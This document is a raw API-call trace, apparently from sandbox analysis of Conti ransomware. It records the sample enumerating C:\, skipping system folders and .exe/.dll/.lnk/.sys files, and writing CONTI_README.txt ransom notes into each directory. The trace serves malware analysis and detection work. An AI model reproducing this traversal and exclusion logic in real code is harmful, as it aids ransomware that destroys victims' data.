	[0094.754] lstrcmpiW (lpString1="Boot", lpString2="Boot") returned 0
	[0094.754] StrStrIW (lpFirst="Boot", lpSrch=".CONTI") returned 0x0
	[0094.754] StrStrIW (lpFirst="Boot", lpSrch="CONTI_README.txt") returned 0x0
	[0094.754] StrStrIW (lpFirst="Boot", lpSrch=".exe") returned 0x0
	[0094.754] StrStrIW (lpFirst="Boot", lpSrch=".dll") returned 0x0
	[0094.754] StrStrIW (lpFirst="Boot", lpSrch=".lnk") returned 0x0
	[0094.754] StrStrIW (lpFirst="Boot", lpSrch=".sys") returned 0x0
	[0094.754] StrStrIW (lpFirst="Boot", lpSrch=".CONTI") returned 0x0
	[0094.754] StrStrIW (lpFirst="Boot", lpSrch="CONTI_README.txt") returned 0x0
	[0094.754] lstrlenW (lpString="C:\\") returned 3
	[0094.754] lstrlenW (lpString="Boot") returned 4
	[0094.754] GetProcessHeap () returned 0x1720000
	[0094.754] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x12) returned 0x17b3960
	[0094.754] lstrcpyW (in: lpString1=0x17b3960, lpString2="C:\\" | out: lpString1="C:\\") returned="C:\\"
	[0094.754] lstrcatW (in: lpString1="C:\\", lpString2="Boot" | out: lpString1="C:\\Boot") returned="C:\\Boot"
	[0094.754] PostQueuedCompletionStatus (CompletionPort=0x1b0, dwNumberOfBytesTransferred=0x1, dwCompletionKey=0x0, lpOverlapped=0x17c47c0) returned 1
	[0094.754] FindNextFileW (in: hFindFile=0x175e830, lpFindFileData=0x5c3fb20 | out: lpFindFileData=0x5c3fb20*(dwFileAttributes=0x27, ftCreationTime.dwLowDateTime=0xe47a48a8, ftCreationTime.dwHighDateTime=0x1d112ea, ftLastAccessTime.dwLowDateTime=0xef6fa258, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xfb90936b, ftLastWriteTime.dwHighDateTime=0x1d2fa06, nFileSizeHigh=0x0, nFileSizeLow=0x607da, dwReserved0=0xffff, dwReserved1=0x0, cFileName="bootmgr", cAlternateFileName="")) returned 1
	[0094.754] lstrcmpiW (lpString1="bootmgr", lpString2=".") returned 1
	[0094.755] lstrcmpiW (lpString1="bootmgr", lpString2="..") returned 1
	[0094.755] StrStrIW (lpFirst="bootmgr", lpSrch=".CONTI") returned 0x0
	[0094.755] StrStrIW (lpFirst="bootmgr", lpSrch="CONTI_README.txt") returned 0x0
	[0094.755] StrStrIW (lpFirst="bootmgr", lpSrch=".exe") returned 0x0
	[0094.755] StrStrIW (lpFirst="bootmgr", lpSrch=".dll") returned 0x0
	[0094.755] StrStrIW (lpFirst="bootmgr", lpSrch=".lnk") returned 0x0
	[0094.755] StrStrIW (lpFirst="bootmgr", lpSrch=".sys") returned 0x0
	[0094.755] StrStrIW (lpFirst="bootmgr", lpSrch=".CONTI") returned 0x0
	[0094.755] StrStrIW (lpFirst="bootmgr", lpSrch="CONTI_README.txt") returned 0x0
	[0094.755] lstrlenW (lpString="C:\\") returned 3
	[0094.755] lstrlenW (lpString="bootmgr") returned 7
	[0094.755] GetProcessHeap () returned 0x1720000
	[0094.755] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x18) returned 0x17b3b20
	[0094.755] lstrcpyW (in: lpString1=0x17b3b20, lpString2="C:\\" | out: lpString1="C:\\") returned="C:\\"
	[0094.755] lstrcatW (in: lpString1="C:\\", lpString2="bootmgr" | out: lpString1="C:\\bootmgr") returned="C:\\bootmgr"
	[0094.755] PostQueuedCompletionStatus (CompletionPort=0x1b0, dwNumberOfBytesTransferred=0x1, dwCompletionKey=0x0, lpOverlapped=0x17c50e0) returned 1
	[0094.756] FindNextFileW (in: hFindFile=0x175e830, lpFindFileData=0x5c3fb20 | out: lpFindFileData=0x5c3fb20*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xe5533ee0, ftCreationTime.dwHighDateTime=0x1d112ea, ftLastAccessTime.dwLowDateTime=0xef9d0a0c, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2d79a60, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x1, dwReserved0=0xffff, dwReserved1=0x0, cFileName="BOOTNXT", cAlternateFileName="")) returned 1
	[0094.756] lstrcmpiW (lpString1="BOOTNXT", lpString2=".") returned 1
	[0094.756] lstrcmpiW (lpString1="BOOTNXT", lpString2="..") returned 1
	[0094.756] StrStrIW (lpFirst="BOOTNXT", lpSrch=".CONTI") returned 0x0
	[0094.756] StrStrIW (lpFirst="BOOTNXT", lpSrch="CONTI_README.txt") returned 0x0
	[0094.756] StrStrIW (lpFirst="BOOTNXT", lpSrch=".exe") returned 0x0
	[0094.756] StrStrIW (lpFirst="BOOTNXT", lpSrch=".dll") returned 0x0
	[0094.756] StrStrIW (lpFirst="BOOTNXT", lpSrch=".lnk") returned 0x0
	[0094.756] StrStrIW (lpFirst="BOOTNXT", lpSrch=".sys") returned 0x0
	[0094.756] StrStrIW (lpFirst="BOOTNXT", lpSrch=".CONTI") returned 0x0
	[0094.756] StrStrIW (lpFirst="BOOTNXT", lpSrch="CONTI_README.txt") returned 0x0
	[0094.756] lstrlenW (lpString="C:\\") returned 3
	[0094.756] lstrlenW (lpString="BOOTNXT") returned 7
	[0094.756] GetProcessHeap () returned 0x1720000
	[0094.756] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x18) returned 0x17b3980
	[0094.756] lstrcpyW (in: lpString1=0x17b3980, lpString2="C:\\" | out: lpString1="C:\\") returned="C:\\"
	[0094.756] lstrcatW (in: lpString1="C:\\", lpString2="BOOTNXT" | out: lpString1="C:\\BOOTNXT") returned="C:\\BOOTNXT"
	[0094.757] PostQueuedCompletionStatus (CompletionPort=0x1b0, dwNumberOfBytesTransferred=0x1, dwCompletionKey=0x0, lpOverlapped=0x17c5c48) returned 1
	[0094.757] FindNextFileW (in: hFindFile=0x175e830, lpFindFileData=0x5c3fb20 | out: lpFindFileData=0x5c3fb20*(dwFileAttributes=0x27, ftCreationTime.dwLowDateTime=0xc4ee267e, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4ee267e, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xf1c63cdd, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0xffff, dwReserved1=0x0, cFileName="BOOTSECT.BAK", cAlternateFileName="")) returned 1
	[0094.757] lstrcmpiW (lpString1="BOOTSECT.BAK", lpString2=".") returned 1
	[0094.757] lstrcmpiW (lpString1="BOOTSECT.BAK", lpString2="..") returned 1
	[0094.757] StrStrIW (lpFirst="BOOTSECT.BAK", lpSrch=".CONTI") returned 0x0
	[0094.757] StrStrIW (lpFirst="BOOTSECT.BAK", lpSrch="CONTI_README.txt") returned 0x0
	[0094.757] StrStrIW (lpFirst="BOOTSECT.BAK", lpSrch=".exe") returned 0x0
	[0094.757] StrStrIW (lpFirst="BOOTSECT.BAK", lpSrch=".dll") returned 0x0
	[0094.757] StrStrIW (lpFirst="BOOTSECT.BAK", lpSrch=".lnk") returned 0x0
	[0094.757] StrStrIW (lpFirst="BOOTSECT.BAK", lpSrch=".sys") returned 0x0
	[0094.757] StrStrIW (lpFirst="BOOTSECT.BAK", lpSrch=".CONTI") returned 0x0
	[0094.757] StrStrIW (lpFirst="BOOTSECT.BAK", lpSrch="CONTI_README.txt") returned 0x0
	[0094.757] lstrlenW (lpString="C:\\") returned 3
	[0094.757] lstrlenW (lpString="BOOTSECT.BAK") returned 12
	[0094.757] GetProcessHeap () returned 0x1720000
	[0094.757] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x22) returned 0x1742148
	[0094.757] lstrcpyW (in: lpString1=0x1742148, lpString2="C:\\" | out: lpString1="C:\\") returned="C:\\"
	[0094.757] lstrcatW (in: lpString1="C:\\", lpString2="BOOTSECT.BAK" | out: lpString1="C:\\BOOTSECT.BAK") returned="C:\\BOOTSECT.BAK"
	[0094.757] PostQueuedCompletionStatus (CompletionPort=0x1b0, dwNumberOfBytesTransferred=0x1, dwCompletionKey=0x0, lpOverlapped=0x17c4c50) returned 1
	[0094.758] FindNextFileW (in: hFindFile=0x175e830, lpFindFileData=0x5c3fb20 | out: lpFindFileData=0x5c3fb20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4b5d867f, ftCreationTime.dwHighDateTime=0x1d5dfd1, ftLastAccessTime.dwLowDateTime=0x4b5d867f, ftLastAccessTime.dwHighDateTime=0x1d5dfd1, ftLastWriteTime.dwLowDateTime=0x4b5d867f, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0xa2, dwReserved0=0xffff, dwReserved1=0x0, cFileName="CONTI_README.txt", cAlternateFileName="CONTI_~1.TXT")) returned 1
	[0094.758] lstrcmpiW (lpString1="CONTI_README.txt", lpString2=".") returned 1
	[0094.758] lstrcmpiW (lpString1="CONTI_README.txt", lpString2="..") returned 1
	[0094.758] StrStrIW (lpFirst="CONTI_README.txt", lpSrch=".CONTI") returned 0x0
	[0094.758] StrStrIW (lpFirst="CONTI_README.txt", lpSrch="CONTI_README.txt") returned="CONTI_README.txt"
	[0094.758] FindNextFileW (in: hFindFile=0x175e830, lpFindFileData=0x5c3fb20 | out: lpFindFileData=0x5c3fb20*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0xe99f01ae, ftCreationTime.dwHighDateTime=0x1d32708, ftLastAccessTime.dwLowDateTime=0xe99f01ae, ftLastAccessTime.dwHighDateTime=0x1d32708, ftLastWriteTime.dwLowDateTime=0xe99f01ae, ftLastWriteTime.dwHighDateTime=0x1d32708, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Documents and Settings", cAlternateFileName="DOCUME~1")) returned 1
	[0094.758] lstrcmpiW (lpString1="Documents and Settings", lpString2=".") returned 1
	[0094.758] lstrcmpiW (lpString1="Documents and Settings", lpString2="..") returned 1
	[0094.758] lstrcmpiW (lpString1="Documents and Settings", lpString2="tmp") returned -1
	[0094.758] lstrcmpiW (lpString1="Documents and Settings", lpString2="winnt") returned -1
	[0094.758] lstrcmpiW (lpString1="Documents and Settings", lpString2="Application Data") returned 1
	[0094.758] lstrcmpiW (lpString1="Documents and Settings", lpString2="AppData") returned 1
	[0094.758] lstrcmpiW (lpString1="Documents and Settings", lpString2="temp") returned -1
	[0094.758] lstrcmpiW (lpString1="Documents and Settings", lpString2="thumb") returned -1
	[0094.759] lstrcmpiW (lpString1="Documents and Settings", lpString2="$Recycle.Bin") returned 1
	[0094.759] lstrcmpiW (lpString1="Documents and Settings", lpString2="$RECYCLE.BIN") returned 1
	[0094.759] lstrcmpiW (lpString1="Documents and Settings", lpString2="System Volume Information") returned -1
	[0094.759] lstrcmpiW (lpString1="Documents and Settings", lpString2="Program Files") returned -1
	[0094.759] lstrcmpiW (lpString1="Documents and Settings", lpString2="Program Files (x86)") returned -1
	[0094.759] lstrcmpiW (lpString1="Documents and Settings", lpString2="Boot") returned 1
	[0094.759] lstrcmpiW (lpString1="Documents and Settings", lpString2="Windows") returned -1
	[0094.759] lstrlenW (lpString="C:\\") returned 3
	[0094.759] lstrlenW (lpString="Documents and Settings") returned 22
	[0094.759] GetProcessHeap () returned 0x1720000
	[0094.759] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x36) returned 0x175e670
	[0094.759] lstrcpyW (in: lpString1=0x175e670, lpString2="C:\\" | out: lpString1="C:\\") returned="C:\\"
	[0094.759] lstrcatW (in: lpString1="C:\\", lpString2="Documents and Settings" | out: lpString1="C:\\Documents and Settings") returned="C:\\Documents and Settings"
	[0094.759] lstrlenW (lpString="C:\\Documents and Settings") returned 25
	[0094.759] GetProcessHeap () returned 0x1720000
	[0094.759] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x38) returned 0x175e6f0
	[0094.759] lstrcpyW (in: lpString1=0x175e6f0, lpString2="C:\\Documents and Settings" | out: lpString1="C:\\Documents and Settings") returned="C:\\Documents and Settings"
	[0094.759] lstrcatW (in: lpString1="C:\\Documents and Settings", lpString2="\\*" | out: lpString1="C:\\Documents and Settings\\*") returned="C:\\Documents and Settings\\*"
	[0094.759] lstrlenW (lpString="C:\\Documents and Settings") returned 25
	[0094.759] lstrlenW (lpString="CONTI_README.txt") returned 16
	[0094.759] GetProcessHeap () returned 0x1720000
	[0094.759] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x56) returned 0x17c1088
	[0094.759] lstrcpyW (in: lpString1=0x17c1088, lpString2="C:\\Documents and Settings" | out: lpString1="C:\\Documents and Settings") returned="C:\\Documents and Settings"
	[0094.759] lstrcatW (in: lpString1="C:\\Documents and Settings", lpString2="\\" | out: lpString1="C:\\Documents and Settings\\") returned="C:\\Documents and Settings\\"
	[0094.760] lstrcatW (in: lpString1="C:\\Documents and Settings\\", lpString2="CONTI_README.txt" | out: lpString1="C:\\Documents and Settings\\CONTI_README.txt") returned="C:\\Documents and Settings\\CONTI_README.txt"
	[0094.760] CreateFileW (lpFileName="C:\\Documents and Settings\\CONTI_README.txt" (normalized: "c:\\documents and settings\\conti_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8
	[0094.762] GetProcessHeap () returned 0x1720000
	[0094.762] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17c1088 | out: hHeap=0x1720000) returned 1
	[0094.762] WriteFile (in: hFile=0x2f8, lpBuffer=0xba0d0*, nNumberOfBytesToWrite=0xa2, lpNumberOfBytesWritten=0x5c3f88c, lpOverlapped=0x0 | out: lpBuffer=0xba0d0*, lpNumberOfBytesWritten=0x5c3f88c*=0xa2, lpOverlapped=0x0) returned 1
	[0094.763] CloseHandle (hObject=0x2f8) returned 1
	[0094.763] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\*", lpFindFileData=0x5c3f8b0 | out: lpFindFileData=0x5c3f8b0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0xd84adb8, ftLastWriteTime.dwHighDateTime=0x1cac6ce, nFileSizeHigh=0x5c3fb00, nFileSizeLow=0xb55d3, dwReserved0=0x5c3fb4c, dwReserved1=0xb6884, cFileName="ŵⅈŴ₴ųs6.1-KB958488-v6001-x86.msu", cAlternateFileName="ŵבֿ׃ŵⅈŴ₴ųבֿ׃\x03")) returned 0xffffffff
	[0094.764] GetProcessHeap () returned 0x1720000
	[0094.764] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x175e6f0 | out: hHeap=0x1720000) returned 1
	[0094.764] GetProcessHeap () returned 0x1720000
	[0094.764] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x175e670 | out: hHeap=0x1720000) returned 1
	[0094.764] FindNextFileW (in: hFindFile=0x175e830, lpFindFileData=0x5c3fb20 | out: lpFindFileData=0x5c3fb20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6c2b2eaf, ftCreationTime.dwHighDateTime=0x1d32718, ftLastAccessTime.dwLowDateTime=0xc1969407, ftLastAccessTime.dwHighDateTime=0x1d327d0, ftLastWriteTime.dwLowDateTime=0xc1969407, ftLastWriteTime.dwHighDateTime=0x1d327d0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ESD", cAlternateFileName="")) returned 1
	[0094.764] lstrcmpiW (lpString1="ESD", lpString2=".") returned 1
	[0094.764] lstrcmpiW (lpString1="ESD", lpString2="..") returned 1
	[0094.764] lstrcmpiW (lpString1="ESD", lpString2="tmp") returned -1
	[0094.764] lstrcmpiW (lpString1="ESD", lpString2="winnt") returned -1
	[0094.764] lstrcmpiW (lpString1="ESD", lpString2="Application Data") returned 1
	[0094.764] lstrcmpiW (lpString1="ESD", lpString2="AppData") returned 1
	[0094.764] lstrcmpiW (lpString1="ESD", lpString2="temp") returned -1
	[0094.764] lstrcmpiW (lpString1="ESD", lpString2="thumb") returned -1
	[0094.764] lstrcmpiW (lpString1="ESD", lpString2="$Recycle.Bin") returned 1
	[0094.764] lstrcmpiW (lpString1="ESD", lpString2="$RECYCLE.BIN") returned 1
	[0094.764] lstrcmpiW (lpString1="ESD", lpString2="System Volume Information") returned -1
	[0094.764] lstrcmpiW (lpString1="ESD", lpString2="Program Files") returned -1
	[0094.764] lstrcmpiW (lpString1="ESD", lpString2="Program Files (x86)") returned -1
	[0094.764] lstrcmpiW (lpString1="ESD", lpString2="Boot") returned 1
	[0094.764] lstrcmpiW (lpString1="ESD", lpString2="Windows") returned -1
	[0094.764] lstrlenW (lpString="C:\\") returned 3
	[0094.764] lstrlenW (lpString="ESD") returned 3
	[0094.764] GetProcessHeap () returned 0x1720000
	[0094.764] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x10) returned 0x1742a28
	[0094.764] lstrcpyW (in: lpString1=0x1742a28, lpString2="C:\\" | out: lpString1="C:\\") returned="C:\\"
	[0094.764] lstrcatW (in: lpString1="C:\\", lpString2="ESD" | out: lpString1="C:\\ESD") returned="C:\\ESD"
	[0094.764] lstrlenW (lpString="C:\\ESD") returned 6
	[0094.764] GetProcessHeap () returned 0x1720000
	[0094.764] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x12) returned 0x17b39a0
	[0094.764] lstrcpyW (in: lpString1=0x17b39a0, lpString2="C:\\ESD" | out: lpString1="C:\\ESD") returned="C:\\ESD"
	[0094.765] lstrcatW (in: lpString1="C:\\ESD", lpString2="\\*" | out: lpString1="C:\\ESD\\*") returned="C:\\ESD\\*"
	[0094.765] lstrlenW (lpString="C:\\ESD") returned 6
	[0094.765] lstrlenW (lpString="CONTI_README.txt") returned 16
	[0094.765] GetProcessHeap () returned 0x1720000
	[0094.765] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x30) returned 0x1738e18
	[0094.765] lstrcpyW (in: lpString1=0x1738e18, lpString2="C:\\ESD" | out: lpString1="C:\\ESD") returned="C:\\ESD"
	[0094.765] lstrcatW (in: lpString1="C:\\ESD", lpString2="\\" | out: lpString1="C:\\ESD\\") returned="C:\\ESD\\"
	[0094.765] lstrcatW (in: lpString1="C:\\ESD\\", lpString2="CONTI_README.txt" | out: lpString1="C:\\ESD\\CONTI_README.txt") returned="C:\\ESD\\CONTI_README.txt"
	[0094.765] CreateFileW (lpFileName="C:\\ESD\\CONTI_README.txt" (normalized: "c:\\esd\\conti_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8
	[0094.769] GetProcessHeap () returned 0x1720000
	[0094.769] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x1738e18 | out: hHeap=0x1720000) returned 1
	[0094.769] WriteFile (in: hFile=0x2f8, lpBuffer=0xba0d0*, nNumberOfBytesToWrite=0xa2, lpNumberOfBytesWritten=0x5c3f88c, lpOverlapped=0x0 | out: lpBuffer=0xba0d0*, lpNumberOfBytesWritten=0x5c3f88c*=0xa2, lpOverlapped=0x0) returned 1
	[0094.770] CloseHandle (hObject=0x2f8) returned 1
	[0094.770] FindFirstFileW (in: lpFileName="C:\\ESD\\*", lpFindFileData=0x5c3f8b0 | out: lpFindFileData=0x5c3f8b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6c2b2eaf, ftCreationTime.dwHighDateTime=0x1d32718, ftLastAccessTime.dwLowDateTime=0xc1969407, ftLastAccessTime.dwHighDateTime=0x1d327d0, ftLastWriteTime.dwLowDateTime=0x4c5517dd, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5c3fb4c, dwReserved1=0xb6884, cFileName=".", cAlternateFileName="")) returned 0x175e670
	[0094.771] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0094.771] FindNextFileW (in: hFindFile=0x175e670, lpFindFileData=0x5c3f8b0 | out: lpFindFileData=0x5c3f8b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6c2b2eaf, ftCreationTime.dwHighDateTime=0x1d32718, ftLastAccessTime.dwLowDateTime=0xc1969407, ftLastAccessTime.dwHighDateTime=0x1d327d0, ftLastWriteTime.dwLowDateTime=0x4c5517dd, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5c3fb4c, dwReserved1=0xb6884, cFileName="..", cAlternateFileName="")) returned 1
	[0094.771] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0094.771] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0094.771] FindNextFileW (in: hFindFile=0x175e670, lpFindFileData=0x5c3f8b0 | out: lpFindFileData=0x5c3f8b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4c5517dd, ftCreationTime.dwHighDateTime=0x1d5dfd1, ftLastAccessTime.dwLowDateTime=0x4c5517dd, ftLastAccessTime.dwHighDateTime=0x1d5dfd1, ftLastWriteTime.dwLowDateTime=0x4c5517dd, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0xa2, dwReserved0=0x5c3fb4c, dwReserved1=0xb6884, cFileName="CONTI_README.txt", cAlternateFileName="CONTI_~1.TXT")) returned 1
	[0094.771] lstrcmpiW (lpString1="CONTI_README.txt", lpString2=".") returned 1
	[0094.771] lstrcmpiW (lpString1="CONTI_README.txt", lpString2="..") returned 1
	[0094.771] StrStrIW (lpFirst="CONTI_README.txt", lpSrch=".CONTI") returned 0x0
	[0094.771] StrStrIW (lpFirst="CONTI_README.txt", lpSrch="CONTI_README.txt") returned="CONTI_README.txt"
	[0094.771] FindNextFileW (in: hFindFile=0x175e670, lpFindFileData=0x5c3f8b0 | out: lpFindFileData=0x5c3f8b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4c5517dd, ftCreationTime.dwHighDateTime=0x1d5dfd1, ftLastAccessTime.dwLowDateTime=0x4c5517dd, ftLastAccessTime.dwHighDateTime=0x1d5dfd1, ftLastWriteTime.dwLowDateTime=0x4c5517dd, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0xa2, dwReserved0=0x5c3fb4c, dwReserved1=0xb6884, cFileName="CONTI_README.txt", cAlternateFileName="CONTI_~1.TXT")) returned 0
	[0094.771] GetProcessHeap () returned 0x1720000
	[0094.771] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17b39a0 | out: hHeap=0x1720000) returned 1
	[0094.771] FindClose (in: hFindFile=0x175e670 | out: hFindFile=0x175e670) returned 1
	[0094.771] GetProcessHeap () returned 0x1720000
	[0094.771] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x1742a28 | out: hHeap=0x1720000) returned 1
	[0094.771] FindNextFileW (in: hFindFile=0x175e830, lpFindFileData=0x5c3fb20 | out: lpFindFileData=0x5c3fb20*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x7ef2dddf, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x7ef2dddf, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x174ff10, ftLastWriteTime.dwHighDateTime=0x1d5d816, nFileSizeHigh=0x0, nFileSizeLow=0x332fe000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="hiberfil.sys", cAlternateFileName="")) returned 1
	[0094.771] lstrcmpiW (lpString1="hiberfil.sys", lpString2=".") returned 1
	[0094.771] lstrcmpiW (lpString1="hiberfil.sys", lpString2="..") returned 1
	[0094.771] StrStrIW (lpFirst="hiberfil.sys", lpSrch=".CONTI") returned 0x0
	[0094.771] StrStrIW (lpFirst="hiberfil.sys", lpSrch="CONTI_README.txt") returned 0x0
	[0094.771] StrStrIW (lpFirst="hiberfil.sys", lpSrch=".exe") returned 0x0
	[0094.771] StrStrIW (lpFirst="hiberfil.sys", lpSrch=".dll") returned 0x0
	[0094.771] StrStrIW (lpFirst="hiberfil.sys", lpSrch=".lnk") returned 0x0
	[0094.771] StrStrIW (lpFirst="hiberfil.sys", lpSrch=".sys") returned=".sys"
	[0094.771] FindNextFileW (in: hFindFile=0x175e830, lpFindFileData=0x5c3fb20 | out: lpFindFileData=0x5c3fb20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdf1d773, ftCreationTime.dwHighDateTime=0x1d1a04f, ftLastAccessTime.dwLowDateTime=0xa03727f1, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xfd9ec80, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Logs", cAlternateFileName="")) returned 1
	[0094.771] lstrcmpiW (lpString1="Logs", lpString2=".") returned 1
	[0094.771] lstrcmpiW (lpString1="Logs", lpString2="..") returned 1
	[0094.771] lstrcmpiW (lpString1="Logs", lpString2="tmp") returned -1
	[0094.771] lstrcmpiW (lpString1="Logs", lpString2="winnt") returned -1
	[0094.771] lstrcmpiW (lpString1="Logs", lpString2="Application Data") returned 1
	[0094.772] lstrcmpiW (lpString1="Logs", lpString2="AppData") returned 1
	[0094.772] lstrcmpiW (lpString1="Logs", lpString2="temp") returned -1
	[0094.772] lstrcmpiW (lpString1="Logs", lpString2="thumb") returned -1
	[0094.772] lstrcmpiW (lpString1="Logs", lpString2="$Recycle.Bin") returned 1
	[0094.772] lstrcmpiW (lpString1="Logs", lpString2="$RECYCLE.BIN") returned 1
	[0094.772] lstrcmpiW (lpString1="Logs", lpString2="System Volume Information") returned -1
	[0094.772] lstrcmpiW (lpString1="Logs", lpString2="Program Files") returned -1
	[0094.772] lstrcmpiW (lpString1="Logs", lpString2="Program Files (x86)") returned -1
	[0094.772] lstrcmpiW (lpString1="Logs", lpString2="Boot") returned 1
	[0094.772] lstrcmpiW (lpString1="Logs", lpString2="Windows") returned -1
	[0094.772] lstrlenW (lpString="C:\\") returned 3
	[0094.772] lstrlenW (lpString="Logs") returned 4
	[0094.772] GetProcessHeap () returned 0x1720000
	[0094.772] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x12) returned 0x17b3c20
	[0094.772] lstrcpyW (in: lpString1=0x17b3c20, lpString2="C:\\" | out: lpString1="C:\\") returned="C:\\"
	[0094.772] lstrcatW (in: lpString1="C:\\", lpString2="Logs" | out: lpString1="C:\\Logs") returned="C:\\Logs"
	[0094.772] lstrlenW (lpString="C:\\Logs") returned 7
	[0094.772] GetProcessHeap () returned 0x1720000
	[0094.772] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x14) returned 0x17b39a0
	[0094.772] lstrcpyW (in: lpString1=0x17b39a0, lpString2="C:\\Logs" | out: lpString1="C:\\Logs") returned="C:\\Logs"
	[0094.772] lstrcatW (in: lpString1="C:\\Logs", lpString2="\\*" | out: lpString1="C:\\Logs\\*") returned="C:\\Logs\\*"
	[0094.772] lstrlenW (lpString="C:\\Logs") returned 7
	[0094.772] lstrlenW (lpString="CONTI_README.txt") returned 16
	[0094.772] GetProcessHeap () returned 0x1720000
	[0094.772] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x32) returned 0x175e670
	[0094.772] lstrcpyW (in: lpString1=0x175e670, lpString2="C:\\Logs" | out: lpString1="C:\\Logs") returned="C:\\Logs"
	[0094.772] lstrcatW (in: lpString1="C:\\Logs", lpString2="\\" | out: lpString1="C:\\Logs\\") returned="C:\\Logs\\"
	[0094.772] lstrcatW (in: lpString1="C:\\Logs\\", lpString2="CONTI_README.txt" | out: lpString1="C:\\Logs\\CONTI_README.txt") returned="C:\\Logs\\CONTI_README.txt"
	[0094.772] CreateFileW (lpFileName="C:\\Logs\\CONTI_README.txt" (normalized: "c:\\logs\\conti_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8
	[0094.777] GetProcessHeap () returned 0x1720000
	[0094.777] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x175e670 | out: hHeap=0x1720000) returned 1
	[0094.777] WriteFile (in: hFile=0x2f8, lpBuffer=0xba0d0*, nNumberOfBytesToWrite=0xa2, lpNumberOfBytesWritten=0x5c3f88c, lpOverlapped=0x0 | out: lpBuffer=0xba0d0*, lpNumberOfBytesWritten=0x5c3f88c*=0xa2, lpOverlapped=0x0) returned 1
	[0094.778] CloseHandle (hObject=0x2f8) returned 1
